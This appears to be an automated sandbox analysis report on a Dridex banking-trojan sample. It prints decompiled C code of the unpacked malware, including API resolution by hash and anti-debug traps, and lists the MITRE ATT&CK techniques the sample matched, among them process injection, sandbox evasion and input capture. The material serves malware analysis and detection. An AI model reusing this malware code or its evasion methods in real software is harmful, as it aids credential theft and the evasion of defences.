								E6DE8F620( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E6DE8F6F0( &(_t535[8]));
							E6DE8F6F0( &(_t535[0x164]));
							E6DE8F620( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E6DE8F620( &(_t535[0x20]), 0);
							_push(0xa5eabdf8);
							_t289 = E6DE91DD0(0xa5eabdf8);
							_t290 = E6DE91388( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E6DE91D08( &(_t535[0x164]), 0xa5eabdf8);
							_t518 =  &(_t535[0x178]);
							E6DE8D0D0( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E6DE95C40( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E6DE95C74( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E6DE98D74( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E6DE8F6F0( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E6DE8BC00( &(_t535[0x110]));
							}
							E6DE8D098( &(_t535[0x104]));
							E6DE8D098(_t518);
							E6DE8D098( &(_t535[0x15c]));
							E6DE8D098( &(_t535[0x154]));
							E6DE99058( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E6DE8F6B4( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E6DE9901C( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E6DE8F558( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E6DE8F568( &(_t535[0x44]));
								_t519 =  *(0x6de9bce0 + _t381 * 4);
								_t531 = E6DE98FE8( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E6DE98754( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E6DE8F568( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E6DE8F578( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E6DE8F568( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E6DE8F8C4( &(_t535[0x20]), E6DE8F568( &(_t535[0x1c])) + 8);
										E6DE8F558( &(_t535[0x20]), E6DE8F568( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E6DE930A4(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E6DE8F8C4( &(_t535[0x48]), _t535[0x70]);
									E6DE930A4(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E6DE8F8DC( &(_t535[0x44]), _t563);
									E6DE8F8DC( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E6DE990A8( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E6DE99070( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E6DE8F6F0( &(_t535[0x144]));
									E6DE8F6F0( &(_t535[0x134]));
									goto L38;
								}
								 *0x6de9d2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E6DE8F6F0( &(_t535[0x11c]));
							E6DE98DD4(_t381,  &(_t535[0xd8]));
							E6DE8F6F0( &(_t535[0x1c]));
							E6DE8F6F0( &(_t535[0x44]));
							E6DE8F6F0( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E6DE8F558( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E6DE8F8C4( &(_t535[0x38]), E6DE8F568( &(_t535[0x34])) + 0x14);
							_t347 = E6DE8F558( &(_t535[0x38]), E6DE8F568( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E6DE8F558( &(_t535[0xc]), _t62);
						_t455 = E6DE8F558( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

0x6de914e4
0x6de914eb
0x6de914ee
0x6de914f5
0x6de91c77
0x6de91c77
0x6de914fb
0x6de91506
0x6de91a45
0x6de91a49
0x00000000
0x6de91cc8
0x6de91a4f
0x6de91a52
0x6de91a55
0x6de91a5f
0x6de91a6e
0x6de91a70
0x6de91a77
0x6de91c61
0x6de91c63
0x6de91c66
0x6de91c6a
0x00000000
0x6de91c6a
0x6de91a86
0x6de91a91
0x6de91a98
0x6de91a9b
0x6de91a9d
0x6de91aa0
0x6de91aa3
0x6de91aa9
0x6de91ab7
0x6de91ac7
0x6de91aec
0x6de91afd
0x6de91b00
0x6de91b02
0x6de91b66
0x6de91b69
0x6de91b69
0x6de91b6b
0x6de91b6e
0x6de91b72
0x6de91b72
0x6de91b76
0x00000000
0x00000000
0x6de91b83
0x6de91b89
0x6de91bbd
0x6de91bc3
0x6de91bc5
0x6de91c94
0x6de91c9c
0x6de91c9f
0x6de91ca1
0x6de91cb8
0x6de91cb8
0x6de91ca3
0x6de91ca7
0x6de91cac
0x6de91cac
0x6de91cba
0x6de91cc0
0x6de91bdf
0x6de91bdf
0x6de91be1
0x6de91be1
0x6de91be3
0x6de91be3
0x6de91be8
0x00000000
0x00000000
0x6de91bea
0x6de91beb
0x6de91bee
0x6de91bf1
0x00000000
0x00000000
0x6de91bfd
0x6de91c00
0x6de91c02
0x6de91c19
0x6de91c19
0x6de91c04
0x6de91c08
0x6de91c0d
0x6de91c0d
0x6de91c26
0x6de91c29
0x6de91c32
0x6de91c35
0x6de91c58
0x6de91c5c
0x00000000
0x6de91c5c
0x6de91c3d
0x6de91c3d
0x6de91c49
0x6de91c4c
0x6de91c55
0x00000000
0x6de91c55
0x6de91bcb
0x6de91bdb
0x6de91bdb
0x6de91bdd
0x00000000
0x00000000
0x6de91bd3
0x6de91bd5
0x6de91bd5
0x00000000
0x6de91bdb
0x6de91b8b
0x6de91b93
0x6de91bb3
0x6de91b95
0x6de91b95
0x6de91b9d
0x6de91ba6
0x6de91ba6
0x6de91b9d
0x00000000
0x6de91b93
0x6de91b04
0x6de91b0b
0x00000000
0x00000000
0x6de91b18
0x6de91b1e
0x6de91b23
0x6de91b2a
0x6de91b2e
0x6de91b43
0x6de91b45
0x6de91b47
0x6de91b4d
0x6de91b5b
0x6de91b5b
0x6de91b61
0x00000000
0x6de91b61
0x00000000
0x00000000
0x00000000
0x00000000
0x6de91aab
0x6de91aab
0x6de91aab
0x6de91aac
0x6de91aaf
0x6de91ab3
0x00000000
0x6de91ac9
0x6de91acc
0x6de91acf
0x6de91ad8
0x6de91adb
0x6de91adc
0x6de91ade
0x00000000
0x6de91519
0x6de9151b
0x6de91520
0x6de9152b
0x6de91539
0x6de9154c
0x6de91559
0x6de91562
0x6de91566
0x6de9156a
0x6de915b2
0x6de915b2
0x6de915b4
0x6de915bb
0x00000000
0x00000000
0x6de915d4
0x6de915dc
0x6de915e0
0x6de915f5
0x6de915f9
0x6de915fd
0x6de91606
0x6de9160c
0x6de9160f
0x6de91613
0x6de9161b
0x6de9161d
0x6de91621
0x6de91628
0x6de91631
0x6de91631
0x6de91635
0x6de9164a
0x6de91660
0x6de9166d
0x6de9166e
0x6de9166e
0x6de91670
0x00000000
0x00000000
0x00000000
0x00000000
0x6de9162a
0x6de9162a
0x6de9162a
0x6de9162b
0x6de9162c
0x00000000
0x6de9162a
0x6de915ef
0x6de915f3
0x00000000
0x00000000
0x00000000
0x6de91674
0x6de91674
0x6de91675
0x6de91678
0x6de91682
0x6de91682
0x6de91686
0x6de9168d
0x6de916e8
0x6de916ed
0x6de91740
0x6de91740
0x6de91744
0x6de91748
0x6de91572
0x6de91575
0x6de9157a
0x6de91580
0x6de91583
0x6de9158a
0x6de9158e
0x6de91595
0x6de9159e
0x6de915a2
0x6de915a6
0x6de915ac
0x00000000
0x00000000
0x00000000
0x6de915ac
0x6de91752
0x6de9175e
0x6de91769
0x6de91770
0x6de91779
0x6de91783
0x6de91784
0x6de91792
0x6de91797
0x6de91798
0x6de917a5
0x6de917aa
0x6de917bc
0x6de917c1
0x6de917c6
0x6de917d8
0x6de917ea
0x6de917ef
0x6de917fa
0x6de91801
0x6de91806
0x6de9180e
0x6de91817
0x6de91817
0x6de91823
0x6de9182a
0x6de91836
0x6de91842
0x6de91850
0x6de91861
0x6de91868
0x6de9186d
0x6de91876
0x6de9187b
0x6de9187d
0x6de91881
0x6de91885
0x6de91892
0x6de9189f
0x6de918a3
0x6de918b7
0x6de918bb
0x00000000
0x00000000
0x6de918d0
0x6de918d2
0x6de918da
0x6de918d7
0x6de918d7
0x6de918d7
0x6de918de
0x6de918e0
0x6de918e6
0x6de918ec
0x6de91948
0x6de91951
0x6de91955
0x6de91962
0x6de9196b
0x6de91970
0x6de91974
0x6de91977
0x6de919d8
0x6de919ee
0x6de919f9
0x6de919fa
0x6de919fb
0x6de919ff
0x6de91a02
0x6de91c82
0x6de91c85
0x6de91c85
0x00000000
0x6de91a02
0x6de91981
0x6de91991
0x6de9199a
0x6de919a3
0x6de919ac
0x6de919ad
0x6de919ae
0x6de919b3
0x6de919bb
0x6de919c3
0x00000000
0x00000000
0x00000000
0x6de919c5
0x6de918f5
0x6de918fa
0x6de918fe
0x6de918fe
0x6de91902
0x6de91905
0x00000000
0x00000000
0x6de91926
0x6de91928
0x6de9192c
0x6de9192e
0x00000000
0x00000000
0x6de91930
0x6de91937
0x6de91943
0x00000000
0x6de91943
0x6de9190a
0x00000000
0x6de91a08
0x6de91a08
0x6de91a09
0x6de91a19
0x6de91a25
0x6de91a2e
0x6de91a37
0x6de91a40
0x00000000
0x6de91a40
0x6de916ef
0x6de916f1
0x6de916f3
0x6de916f8
0x6de916fd
0x6de91710
0x6de91726
0x6de9172f
0x6de91730
0x6de91730
0x6de91732
0x6de91733
0x6de91736
0x6de9173a
0x00000000
0x6de916f3
0x6de9168f
0x6de91699
0x6de9169a
0x6de9169a
0x6de916a7
0x6de916b3
0x6de916b5
0x6de916b7
0x6de916bb
0x6de916cb
0x6de916cb
0x6de916d2
0x6de916d5
0x6de916d6
0x6de916da
0x6de916e4
0x00000000
0x6de916e4

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f72974e1fc1102aed48086d4eebdefee49d14ecce2c7dd7a634481c8f6898037
Instruction ID: 53674028f6153e5334d4e7e8a00281aaee22ebb45952e836c527d5ba22d324f2
Opcode Fuzzy Hash: f72974e1fc1102aed48086d4eebdefee49d14ecce2c7dd7a634481c8f6898037
Instruction Fuzzy Hash: AC32AD705093459FC714DF64C880AAEB7F4FF85308F61892DE6999B2A1EF34E946CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6DE86DC8, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DE86DC8() {

				 *0x6de9d280 = GetUserNameW;
				 *0x6DE9D284 = MessageBoxW;
				 *0x6DE9D288 = GetLastError;
				 *0x6DE9D28C = CreateFileA;
				 *0x6DE9D290 = DebugBreak;
				 *0x6DE9D294 = FlushFileBuffers;
				 *0x6DE9D298 = FreeEnvironmentStringsA;
				 *0x6DE9D29C = GetConsoleOutputCP;
				 *0x6DE9D2A0 = GetEnvironmentStrings;
				 *0x6DE9D2A4 = GetLocaleInfoA;
				 *0x6DE9D2A8 = GetStartupInfoA;
				 *0x6DE9D2AC = GetStringTypeA;
				 *0x6DE9D2B0 = HeapValidate;
				 *0x6DE9D2B4 = IsBadReadPtr;
				 *0x6DE9D2B8 = LCMapStringA;
				 *0x6DE9D2BC = LoadLibraryA;
				 *0x6DE9D2C0 = OutputDebugStringA;
				return 0x6de9d280;
			}

0x6de86dd9
0x6de86de1
0x6de86de4
0x6de86df3
0x6de86df6
0x6de86e05
0x6de86e08
0x6de86e17
0x6de86e1a
0x6de86e29
0x6de86e2c
0x6de86e3b
0x6de86e3e
0x6de86e4d
0x6de86e50
0x6de86e5f
0x6de86e62
0x6de86e65

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abfaddf30667af04d8c813fc2f70536d2548df4c8f09addee01b1c7dc71b4b43
Instruction ID: a304603e4eb0bdd9886df4f1059830737dfe6606300c3518d6d142542761233d
Opcode Fuzzy Hash: abfaddf30667af04d8c813fc2f70536d2548df4c8f09addee01b1c7dc71b4b43
Instruction Fuzzy Hash: C311DBB8E96610CFCB48CF09D191E517BF2BF8E31031282AAD8098F365D734A855CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6DE8BC00, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6DE8BC00(intOrPtr* __ecx) {
				void* _t1;
				intOrPtr* _t4;

				_t4 = __ecx;
				_t1 = E6DE8C33C(__ecx);
				if(_t1 != 0) {
					L4:
					return _t1;
				} else {
					_t1 = E6DE92F8C(0xa5eabdf8, 0x2c2324e8);
					if(_t1 == 0) {
						 *_t4 = 0;
						goto L4;
					} else {
						_push( *_t4);
						asm("int3");
						return _t1;
					}
				}
			}

0x6de8bc01
0x6de8bc03
0x6de8bc0a
0x6de8bc29
0x6de8bc2a
0x6de8bc0c
0x6de8bc16
0x6de8bc1d
0x6de8bc23
0x00000000
0x6de8bc1f
0x6de8bc1f
0x6de8bc21
0x6de8bc22
0x6de8bc22
0x6de8bc1d

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction ID: 24746c1d5ff149b08eb7a58ec7b019cd666604a1296cf0bbc9b1b487ea4950e0
Opcode Fuzzy Hash: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction Fuzzy Hash: 31D01272108143AAEF151735BD00765E7984FD2559F75095A96047B15BCFA680528020

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 0WzJdqE4Rw

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 5684 Parent PID: 5572

General

Chronological Activities

Function 6DE907CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Function 6DE9218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Function 6DE92790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Function 6DE93060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 6DE95DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Function 6DE91140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 6DE95720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Function 6DE95AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Function 6DE95B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 6DE95B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Function 6DE95B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Function 6DE95B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 6DE95B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Function 6DE95D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 6DE955B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Function 6DE910CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 6DE93564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Function 6DE89144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Function 6DE81494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Function 6DE8A5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 6DE884E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 6DE992DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 6DE914D8, Relevance: .6, Instructions: 572
COMMONCrypto

Function 6DE86DC8, Relevance: .0, Instructions: 36
COMMON

Function 6DE8BC00, Relevance: .0, Instructions: 16
COMMON